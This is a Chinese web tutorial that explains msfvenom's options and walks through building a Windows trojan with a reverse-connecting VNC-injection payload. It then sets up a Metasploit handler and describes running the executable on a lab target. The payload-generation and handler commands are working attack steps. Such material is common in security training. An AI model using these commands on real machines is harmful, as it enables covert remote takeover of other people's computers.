温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

Metasploit中木马生成的原理是什么

发布时间:2021-08-11 14:19:38 来源:亿速云 阅读:173 作者:Leah 栏目:大数据

Metasploit中木马生成的原理是什么,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

一、生成方式:利用msf模块中的msfvenom模块

二、原理:msfvenom是msfpayload、msfencode的结合体,利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线

三、msfvenom命令行选项如下

-p, --payload    <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定    

-l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all     

-n, --nopsled    <length>        为payload预先指定一个NOP滑动长度     

-f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)     

-e, --encoder    [encoder]       指定需要使用的encoder(编码器)     

-a, --arch       <architecture>  指定payload的目标架构         

--platform   <platform>      指定payload的目标平台     

-s, --space      <length>        设定有效攻击荷载的最大长度     

-b, --bad-chars  <list>          设定规避字符集,比如: &#039;\x00\xff&#039;     

-i, --iterations <count>         指定payload的编码次数     

-c, --add-code   <path>          指定一个附加的win32 shellcode文件    

-x, --template   <path>          指定一个自定义的可执行文件作为模板     

-k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行         

--payload-options            列举payload的标准选项     

-o, --out   <path>               保存payload     

-v, --var-name <name>            指定一个自定义的变量,以确定输出格式         

--shellest                   最小化生成payload     

-h, --help                       查看帮助选项         

--help-formats               查看msf支持的输出格式列表

四、使用方法

1、msfvenom --list platforms   显示支持的平台

Metasploit中木马生成的原理是什么

2、msfvenom --list formats   显示支持的格式

Metasploit中木马生成的原理是什么

Metasploit中木马生成的原理是什么

3、msfvenom --list archs   显示支持的架构

Metasploit中木马生成的原理是什么

4、msfvenom --list encoders   显示支持的编码器

Metasploit中木马生成的原理是什么

5、生成木马

目标主机:192.168.1.129(win7 x64)

攻击机:192.168.1.33 

攻击端口:12121 

生成木马:msfvenom --arch x64 --platform windows -p windows/x64/vncinject/reverse_tcp lhost=192.168.1.133 lport=12121 -f exe -o /root/win64.exe

Metasploit中木马生成的原理是什么

6、进入监听模块          use exploit/multi/handler 

7、设置payload反弹    set payload windows/x64/vncinject/reverse_tcp

Metasploit中木马生成的原理是什么

8、查看需要设置的参数:show options

Metasploit中木马生成的原理是什么

9、设置攻击机ip:set lhost 192.168.1.133

10、设置攻击端口:set lport 12121

Metasploit中木马生成的原理是什么

11、将生成的exe文件上传到目标主机并运行

12、run攻击

Metasploit中木马生成的原理是什么

13、攻击机的监控画面

Metasploit中木马生成的原理是什么

14、目标主机画面

Metasploit中木马生成的原理是什么

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI